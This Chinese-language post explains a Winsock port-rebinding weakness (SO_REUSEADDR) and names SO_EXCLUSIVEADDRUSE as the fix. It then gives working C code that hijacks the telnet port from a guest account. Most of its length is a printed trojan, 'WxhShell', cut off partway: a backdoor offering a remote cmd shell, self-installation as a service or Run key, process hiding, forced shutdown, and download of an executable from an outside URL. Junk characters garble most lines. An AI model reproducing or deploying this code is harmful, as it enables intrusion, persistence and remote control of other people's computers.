在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j[$B\H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*k3 d^9o# +zFV~]b saddr.sin_family = AF_INET;
N&0uXrw
o9U0kI=W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
p/\$P= >>oASo bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
09}f\/ hRuo,FS#: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2x<Qt2" W (=Wg|cr 这意味着什么?意味着可以进行如下的攻击:
Vu|Br veYsctK~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^D W# GL;x:2XA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nLFx/5sL ,?0-=o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[a>JG8[,t f>\bUmk( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E< zT 48 c
D3w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_V_8p)% V7B=+(xK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
an$]IN `mq4WXO\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4! Oa4 *f0.= ? #include
1^x2WlUm4 #include
4i[v
ew #include
Oi
kU$~| #include
uhC= DWORD WINAPI ClientThread(LPVOID lpParam);
-CU7u=*b int main()
zulf%aaL {
K\^&_#MG WORD wVersionRequested;
G)tq/`zNw DWORD ret;
G!e}j
@@ WSADATA wsaData;
N1s$3Ul BOOL val;
&m%Pr SOCKADDR_IN saddr;
T}w*K[z
$ SOCKADDR_IN scaddr;
+c]N]?k& int err;
uJIRk$ SOCKET s;
Y6;0khp SOCKET sc;
j^aQ>(t(9 int caddsize;
\c9t]py<.h HANDLE mt;
siss_1J DWORD tid;
9aF.. wVersionRequested = MAKEWORD( 2, 2 );
oxCs* err = WSAStartup( wVersionRequested, &wsaData );
`jUS{ 3^ if ( err != 0 ) {
3I>S:|=K printf("error!WSAStartup failed!\n");
.kB3jfw0, return -1;
SVg@xu+ }
PO%yWns30o saddr.sin_family = AF_INET;
XC$+ `? px
[1# * //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-;@5Ua1uf i"sYf9, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_~wV{ yp saddr.sin_port = htons(23);
}<\65 B$1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
St3(1mApl {
9A}
kkMB: printf("error!socket failed!\n");
St7D.| return -1;
pZ_FVID }
ek{PA!9Sk val = TRUE;
zW"3K //SO_REUSEADDR选项就是可以实现端口重绑定的
#hE3~+i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P2
K>|r {
z[lRb]:i[ printf("error!setsockopt failed!\n");
od5w9E. return -1;
P7>C4rmQ }
-4^@)~Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"mP*}VF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2p3u6\y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H8t{ >C)] @'<j!CqQ
o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9Pob|UA {
(y+5d00 ret=GetLastError();
R8r[;u\iV printf("error!bind failed!\n");
bhm~Ii return -1;
?;KJ
(@Va }
h$ETH1Ue listen(s,2);
E'BH7JV while(1)
E-U;8cOMv {
kG;\i caddsize = sizeof(scaddr);
qiKtR //接受连接请求
+} ! F(c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|v%RjN if(sc!=INVALID_SOCKET)
!
^*;c# {
#L4Kwy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;AL@<,8 if(mt==NULL)
Hj4w
i| {
w6In{uO-Z printf("Thread Creat Failed!\n");
u FYQ^ break;
WPp\sIP }
zc,9Qfn }
Z=t#*"J CloseHandle(mt);
FiU;>t<) }
:Ye#NPOI closesocket(s);
b} U&bFl WSACleanup();
gl7vM return 0;
>
%cWTC }
PN^1 DWORD WINAPI ClientThread(LPVOID lpParam)
wR<QeH'V {
Lz>{FOR SOCKET ss = (SOCKET)lpParam;
}`/n2 SOCKET sc;
X$h~d8@r unsigned char buf[4096];
-^xKG'uth SOCKADDR_IN saddr;
JX@6Sg< long num;
,;e-37^0l DWORD val;
-MW(={# DWORD ret;
|9"^s x //如果是隐藏端口应用的话,可以在此处加一些判断
dj&m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:8|3V~%m saddr.sin_family = AF_INET;
_DvPF~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
GxBPEIim saddr.sin_port = htons(23);
8qYGlew, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"JLhOTPaHf {
kR~4O$riG printf("error!socket failed!\n");
,,#rv-* return -1;
Yl~?MOk }
3k[<4- val = 100;
bOIM0<(h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+ET {
M j%|'dZz ret = GetLastError();
W]Tt8 return -1;
uZ?CVluP }
V?z{UZkR
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}xlmsOHuI {
J8?6G&0H ret = GetLastError();
Bsk2&17z return -1;
0i(?LI_S }
i|{nj\6w^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Y^m=_*1g5 {
!E#.WX printf("error!socket connect failed!\n");
}'0Xz9/ l closesocket(sc);
|laKntv 2 closesocket(ss);
=X5&au o return -1;
4m(>" dHP }
2bxMIr while(1)
$yqq.#1 {
j!o3g;j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GfPz^F=ie. //如果是嗅探内容的话,可以再此处进行内容分析和记录
SFgIY] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
TdIFZ[<7 num = recv(ss,buf,4096,0);
K2K6 if(num>0)
Ns= b&Uyc send(sc,buf,num,0);
;fME4Sp else if(num==0)
17]31 break;
iT9Ex9RL num = recv(sc,buf,4096,0);
"?&bh@P& if(num>0)
n}'.6 send(ss,buf,num,0);
\.|A,G= else if(num==0)
CuO*>g^K[ break;
|(v=1#i }
pyJOEL]1F closesocket(ss);
"{"2h>o#D} closesocket(sc);
@M?EgVmW return 0 ;
w}q@VVB% }
.FRF<_`^ E!l1a5qB 8"UG&wLT ==========================================================
.ehvhMuG| #LgoKiP!Y 下边附上一个代码,,WXhSHELL
:!!`!*!JH n$Fm~iPo, ==========================================================
Qf(e'e L;7mt
4H #include "stdafx.h"
Y[?Wt/O; )qXe`3d5 #include <stdio.h>
w=o m7%J@l #include <string.h>
0)a?W,+O #include <windows.h>
7lPk~0 #include <winsock2.h>
Qs X 59d #include <winsvc.h>
rL3Vogw'e #include <urlmon.h>
DC7}Xly( yOz Kux8kB #pragma comment (lib, "Ws2_32.lib")
.3&OFM #pragma comment (lib, "urlmon.lib")
,)G+h#Y[* _cN)q #define MAX_USER 100 // 最大客户端连接数
`~TGVa`D #define BUF_SOCK 200 // sock buffer
*sVxjZvV #define KEY_BUFF 255 // 输入 buffer
M=_CqK* FY*0gp #define REBOOT 0 // 重启
JjML!; #define SHUTDOWN 1 // 关机
ZM`_P!G oe"ShhT #define DEF_PORT 5000 // 监听端口
YKd?)$J Vs"Q-? #define REG_LEN 16 // 注册表键长度
a Z,Wa-k #define SVC_LEN 80 // NT服务名长度
Y2&6xTh EA#!h'-s // 从dll定义API
KL~sEli typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ovFfTP<3V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h1)\.F4G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Q3Lqj2r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sH: &OaA `" Pd$jW // wxhshell配置信息
tRCd(Z,WY struct WSCFG {
!W^II>Y int ws_port; // 监听端口
E #p6A5 char ws_passstr[REG_LEN]; // 口令
N3RwcM9+; int ws_autoins; // 安装标记, 1=yes 0=no
Q NEaj\ char ws_regname[REG_LEN]; // 注册表键名
C ( ;7*] char ws_svcname[REG_LEN]; // 服务名
y&]D2"I char ws_svcdisp[SVC_LEN]; // 服务显示名
u\?u}t v char ws_svcdesc[SVC_LEN]; // 服务描述信息
,1L^#?Q~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b1!%xdy_T int ws_downexe; // 下载执行标记, 1=yes 0=no
`<G+N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c[q3O** char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A???s,F_ z[OEgHI };
W>Kn*Dy8~ %SXqJW^: // default Wxhshell configuration
4+:u2&I struct WSCFG wscfg={DEF_PORT,
2c]O Mtk "xuhuanlingzhe",
]A[~2] 1,
<h[^&CY{ "Wxhshell",
H;`@SJBf "Wxhshell",
<o}t-Bgg "WxhShell Service",
?'r[P03 "Wrsky Windows CmdShell Service",
5Z{[.&x "Please Input Your Password: ",
4e sf&-gG 1,
9'M({/7y "
http://www.wrsky.com/wxhshell.exe",
YQJ_t@0C "Wxhshell.exe"
9AaixI };
|kD?^Nx lM]7@A // 消息定义模块
V qf}(3K0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J u7AxTf~
char *msg_ws_prompt="\n\r? for help\n\r#>";
ruVm8BO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UF4QPPH4 char *msg_ws_ext="\n\rExit.";
xi0&"?7la char *msg_ws_end="\n\rQuit.";
N]~q@x;<)3 char *msg_ws_boot="\n\rReboot...";
0vEa]ljS char *msg_ws_poff="\n\rShutdown...";
1Low[i char *msg_ws_down="\n\rSave to ";
m6}"g[nN h2y@xnn char *msg_ws_err="\n\rErr!";
_G42|lA$/ char *msg_ws_ok="\n\rOK!";
-.y3:^){^ a<Ta *:R$0 char ExeFile[MAX_PATH];
bbnAmZ int nUser = 0;
F-t-d1w6 HANDLE handles[MAX_USER];
gi8kYHldH
int OsIsNt;
@:
NrC76 4YJs4CB SERVICE_STATUS serviceStatus;
\y=,=;yv SERVICE_STATUS_HANDLE hServiceStatusHandle;
MLJ8m :
f Wh7X3 // 函数声明
h$3Y,-4 int Install(void);
7~
2X/ int Uninstall(void);
t}K?.To$ int DownloadFile(char *sURL, SOCKET wsh);
!&X}?NK int Boot(int flag);
Sx}h$E: void HideProc(void);
,}[,]-nVx int GetOsVer(void);
{.sF&(e int Wxhshell(SOCKET wsl);
'#XP:nqFkK void TalkWithClient(void *cs);
V%+KJ}S!Z int CmdShell(SOCKET sock);
i/->g:47P int StartFromService(void);
rv^j&X+EH int StartWxhshell(LPSTR lpCmdLine);
tG6 o^
YEGXhn5E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N$.''D?7D VOID WINAPI NTServiceHandler( DWORD fdwControl );
E~24b0<7 {It4=I)M // 数据结构和表定义
-y~JNDS1] SERVICE_TABLE_ENTRY DispatchTable[] =
ks!
G \<I {
V'_^g7}l& {wscfg.ws_svcname, NTServiceMain},
lA{Sr0fTP {NULL, NULL}
g{&ux k); };
3)=$BSC% V&gUxS]* // 自我安装
]+oPwp;il int Install(void)
<K)^MLgN {
@wB$qd;v char svExeFile[MAX_PATH];
%_5B"on HKEY key;
q4VOK
'N strcpy(svExeFile,ExeFile);
-~jM=f$ >Z/,DIn,I // 如果是win9x系统,修改注册表设为自启动
Lq yY??\@ if(!OsIsNt) {
a7Z PV1k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~$+9L2gz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?g!py[CrE RegCloseKey(key);
Rj-<tR{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ybfNG@N* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$ U<xrN>O RegCloseKey(key);
Mk7#qiPo return 0;
2 3 P7~S }
4e9mN~ }
v50=D/&w }
#lNi\Lw+j else {
C^.:{ W0X?"Ms|a // 如果是NT以上系统,安装为系统服务
;A1pqHr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Uq7 y4zJ if (schSCManager!=0)
S.BM/M {
EI]NOG 0 SC_HANDLE schService = CreateService
|0dmdrKD (
$TWt[ schSCManager,
x?T/=C wscfg.ws_svcname,
CpO!xj+ wscfg.ws_svcdisp,
(@~d9PvB> SERVICE_ALL_ACCESS,
N^B
YNqr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m8fxDepFA SERVICE_AUTO_START,
UuW" SERVICE_ERROR_NORMAL,
<S%M*j svExeFile,
V`=#j[gX)= NULL,
ggfL
d r NULL,
7i,}F|#8 NULL,
g!i\AMG? NULL,
R6*:Us0\FJ NULL
Z25^+)uf*U );
)k{zRq:d if (schService!=0)
1
@tVfn} {
F`r=M%yh CloseServiceHandle(schService);
E$T)N U\ CloseServiceHandle(schSCManager);
Pl9/1YhD/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1^TOTY strcat(svExeFile,wscfg.ws_svcname);
ojni+} >_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G BV]7. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;"Q{dOvp RegCloseKey(key);
);'8*e' return 0;
d~u+:[\=/ }
q;1]M[& }
76(-!Z@=J CloseServiceHandle(schSCManager);
"WV]|
TS"] }
HeCQF=R }
sFqZ@t}~ be}^}w= return 1;
hlWTsi4N }
`D6Bw=7 ^&>(_I\w.6 // 自我卸载
R-+k>_96| int Uninstall(void)
#p_3j 0S {
Ew~piuj HKEY key;
l_Mi'}j b`)^Ao: if(!OsIsNt) {
X`YA JG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zc%#7"FM RegDeleteValue(key,wscfg.ws_regname);
t:X\`.W RegCloseKey(key);
Q&S\?cKe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u2,V34b- RegDeleteValue(key,wscfg.ws_regname);
tQ=M=BPZ RegCloseKey(key);
S4508l return 0;
|}P4Gr}6 }
#Y6'Q8gf }
SO^:6GuJ }
v0&E!4q*' else {
u^&2T(xGi Au(zvgP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r*'a-2Au if (schSCManager!=0)
Uv?s < {
x2/L`q"M?= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W =fs"< if (schService!=0)
_PUgK\ {
{eo4J&as if(DeleteService(schService)!=0) {
:I*G tq
CloseServiceHandle(schService);
o\6A]T=R CloseServiceHandle(schSCManager);
MM8@0t'E return 0;
#Ux*": }
hqOy*!8'@ CloseServiceHandle(schService);
SUwSZ@l^| }
n<\
WVi CloseServiceHandle(schSCManager);
UZ#Yd|'PD }
p(dJf&D }
e}>8rnR{ -v"\WmcS return 1;
NGZEUtj }
[^sv. t:y}
7un // 从指定url下载文件
L7oLV?k int DownloadFile(char *sURL, SOCKET wsh)
Sz4G,c {
T;!7GW4E
? HRESULT hr;
1haNca_6, char seps[]= "/";
1UG5Q- char *token;
z/09~Hc char *file;
}NX9"}/ char myURL[MAX_PATH];
)Lt|]|1B{ char myFILE[MAX_PATH];
e`gOc* .<uxZ strcpy(myURL,sURL);
Ucnj7>+" token=strtok(myURL,seps);
=fk+"!-i%" while(token!=NULL)
: V16bRpjL {
LS1r}cl file=token;
Fl)p^uUtl token=strtok(NULL,seps);
W[B%,Km%] }
bMWL^ *I AL*P2\8 GetCurrentDirectory(MAX_PATH,myFILE);
Z(g9rz']0 strcat(myFILE, "\\");
S-)mv'Al'F strcat(myFILE, file);
MLD-uI10{ send(wsh,myFILE,strlen(myFILE),0);
N$u;Q(^ send(wsh,"...",3,0);
d:KUJ
Y. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%N}OMc.W if(hr==S_OK)
GMc{g return 0;
Vy*&po[
else
o#(z*v@ return 1;
gT 8^ F!v`._] }
(S~|hk^ ^H]q[XFR // 系统电源模块
&n:3n int Boot(int flag)
<
H1+qN=]` {
l+# l\q%l HANDLE hToken;
t- Rp_2t TOKEN_PRIVILEGES tkp;
}1EfyR ^4jIT1 if(OsIsNt) {
[X >sG)0S~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M>Yge~3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O0`k6$=6r tkp.PrivilegeCount = 1;
T<!&6,N A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&[]0yNG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7"L`|O?8) if(flag==REBOOT) {
3:q\]]]S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[/.5{|&GSt return 0;
Ift @/A }
YHoj^=/b else {
%m\dNUz4g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.gmNE$d return 0;
YuO-a$BP }
\k6Ho?PL }
H^Th]-Zl else {
!1MSuvWP if(flag==REBOOT) {
f< A@D"m/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n<C4-'^U[a return 0;
nF0V`O\T }
k0;N D else {
}m6zu'CV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
XY(3!>/eQ[ return 0;
3q*y~5&I }
W_z2Fs"A }
&@E{0ZD -7_`6U2" return 1;
Aj`zT' }
bv&A)h"S } $:uN // win9x进程隐藏模块
FU-YI" void HideProc(void)
Z
P\A {
\k?uh+xl x,W)qv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XW!a?aLNX if ( hKernel != NULL )
PCl@Ff {
hdB.u^! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d/>owCwQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|%JJ
S^) FreeLibrary(hKernel);
"eWN52 }
hQ!sl O b2OVg
+3 return;
R:+2}kS5e{ }
_is<.&f6 _akC^hT // 获取操作系统版本
^4@~\#$z int GetOsVer(void)
>*ey 7g {
]"SH
pq OSVERSIONINFO winfo;
[n/'JeG5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1(C3;qlVD GetVersionEx(&winfo);
8zew8I~s
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@DgJxY| return 1;
/60`"xH else
F"O{eK0T return 0;
mG[S"?C }
FoM4QO 'Z LGt# // 客户端句柄模块
k8^!5n int Wxhshell(SOCKET wsl)
T1bPI/ {
.uzg2Kd_ SOCKET wsh;
<VD^f struct sockaddr_in client;
%lZ++?&^ DWORD myID;
iq$edq[ |B&KT while(nUser<MAX_USER)
XHuY'\;- {
?vL\VI9 int nSize=sizeof(client);
X%W_cb2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M0`nr}g if(wsh==INVALID_SOCKET) return 1;
1Sox@Ko &Im{p7gf!b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
t1p} if(handles[nUser]==0)
6'y+Ev$9 closesocket(wsh);
LO@.aJpp
else
9"_JiX~3 nUser++;
Eq-fR~<9 }
lcgT9m# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$Gb] K{e 7kU:91zR return 0;
/0QGU4= }
FUzIuz 6 q+XL,E // 关闭 socket
p
D!IB`cA4 void CloseIt(SOCKET wsh)
lTe}[@( {
d;&'uiS closesocket(wsh);
vTN/ho,H nUser--;
V-a/%_D ExitThread(0);
D+{h@^C9Z }
lJ@2N$w QC0^G,9. // 客户端请求句柄
Be+'&+ void TalkWithClient(void *cs)
]c{Zh?0 {
8[(eV. DQW^;Ls SOCKET wsh=(SOCKET)cs;
0-"ps ]X char pwd[SVC_LEN];
~rEU83 char cmd[KEY_BUFF];
{snLiCl char chr[1];
N'R^S98x int i,j;
!\Jj}iX3_ uy\<t while (nUser < MAX_USER) {
iRo UM.% F7J-@T< if(wscfg.ws_passstr) {
L>$yslH;b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5%kt;ODS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r AMnM>` //ZeroMemory(pwd,KEY_BUFF);
z<c^<hE:l i=0;
[P)'LY6F
while(i<SVC_LEN) {
e:{v.C0ez XG
]yfux` // 设置超时
d.tjLeY fd_set FdRead;
g[Ah>
5 struct timeval TimeOut;
a`(6hL3IT FD_ZERO(&FdRead);
I9N?zmH FD_SET(wsh,&FdRead);
UK+;/Mtg TimeOut.tv_sec=8;
=IV_yor TimeOut.tv_usec=0;
!> b>"\b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/Ik_U?$* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[P8Y yXS ~PG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`;WiTE)&) pwd
=chr[0]; /A\'_a|
if(chr[0]==0xd || chr[0]==0xa) { 5%(J +d
pwd=0; vn3<LQ]
break; x*}j$n( Oa
} /pgfa-<
i++; UTKS<.q
} !y$Hr[v
l5Z=aW Q
// 如果是非法用户,关闭 socket jV8mn{<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ('Wo#3b$
} 7^'TU=ss_
WK0?$[|=r
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UBqA[9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xB3;%Lc
2H;&E1:
while(1) { pl
Ii
<<@\K,=
ZeroMemory(cmd,KEY_BUFF); "RuJlp
^M6v;8EU
// 自动支持客户端 telnet标准 "5%G[MB
j=0; Tk$rwTCl
while(j<KEY_BUFF) { |xQG
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !1+L0,I6
cmd[j]=chr[0]; l"RX`N@In
if(chr[0]==0xa || chr[0]==0xd) { 6#vD>@H
cmd[j]=0; l>h%J,W
break; 8Fx~i#F T
} \D?6_
,O
j++; 9vCn^G%B
} yxQxc5/X)
kU_bLC?>D
// 下载文件 iI+kZI-
if(strstr(cmd,"http://")) { -en:81a#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 15VOQE5Fl`
if(DownloadFile(cmd,wsh)) <%hSBDG!x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X,dV7 yW
else dm,7OQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (S0MqX*
} ZJsc ?*@
else { rmUTl
XD{U5.z>y
switch(cmd[0]) { :y !e6
ye KzI~
// 帮助 ,d)!&y
case '?': { P[ n`X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [|d:QFx
break; v~q2D"
} QUb#;L@okn
// 安装 5g&.P\c{
case 'i': { u@}((V
if(Install()) ;WJ}zjo >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uTA
/E9OY
else }D xXt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "^ydoRZ
break; 2al%J%
} *GbC`X)
// 卸载 g)!B};AA
case 'r': { PH9MB
if(Uninstall()) m;WUp{'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G1{@r)
else <?&GBCe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*x8K,fN
break; "u Xl
} ( u@[}!
// 显示 wxhshell 所在路径 " _jIqj6C
case 'p': { *;Dd:D9
char svExeFile[MAX_PATH]; dI5Z*"`R9
strcpy(svExeFile,"\n\r"); ct3QtX0B
strcat(svExeFile,ExeFile); xYc)iH6&
send(wsh,svExeFile,strlen(svExeFile),0); }C/u>89%q
break; @L {x;
} N$M#3Y;
// 重启 @SDsd^N{2P
case 'b': { !(*mcYA*W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >J[g)$,
if(Boot(REBOOT)) =#&K\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-K<w(,X
else { Qpndi$2H!
closesocket(wsh); W*QD'
ExitThread(0); eQx9Vnb
} #57nm]?
break; ;y%l OYm
} VW<s_
// 关机 pL]C]HGv
case 'd': { ?t'ZX~k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qo}-m7
if(Boot(SHUTDOWN)) S59!+V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ME[Wg\
else { >T%Jlj3ZG
closesocket(wsh); lJ3/^Htn
ExitThread(0); ;o,t*
} W'E!5T^
break; (?J6vK}S
} y<m{eDV7
// 获取shell v'a]SpE5
case 's': { LG [2u
CmdShell(wsh); b=9(gZ 9
closesocket(wsh); -OB72!sKU
ExitThread(0); N;>>HN[bBP
break; >-r\]/^
} 9bPQD{Qb
// 退出 x +!<_p
case 'x': { 4))u*c/,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @z EEX9U
CloseIt(wsh); _{8f^@I"+
break; $|C%G6!s?@
} n>Y3hY
// 离开 z:^Kr"=n
case 'q': { I}puN!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); UG s
<<
closesocket(wsh); ~q?IG5s*Z
WSACleanup(); ^LfCLI9Z
exit(1); -DlKFN
break; gT<E4$I69
} q+x4Od3
} S6 $S%$
} X8ev uN
[@";\C_I
// 提示信息 "monuErg&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6.6~w\fR8
} C(3yJzg>y
} C0jmjZ%w@
f/Grem
return; c#OZ=`
} a)(j68c
s^^X.z ,
// shell模块句柄 W2wDSP-
int CmdShell(SOCKET sock) ci+Pg9sS
{ R#
8D}5[&
STARTUPINFO si; Ve2z= 6(
ZeroMemory(&si,sizeof(si)); 3rZFN^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EX>> -D7L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bFVz ;
PROCESS_INFORMATION ProcessInfo; !Wvzum@5D
char cmdline[]="cmd"; kNI m90,g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L:`|lc=^
return 0; l'&l!D&
} L(PJ9wjkD
B+jT|Y'
// 自身启动模式 GLwL'C'591
int StartFromService(void) gET& +M
{ 6O"Vy
typedef struct Nk3]<#$
{ K^J;iu 4
DWORD ExitStatus; j~\\,fl=
DWORD PebBaseAddress; C]WVH\Pp
DWORD AffinityMask; 7Hf6$2Wh
DWORD BasePriority; GL@s~_;T6
ULONG UniqueProcessId; lDe9EJR
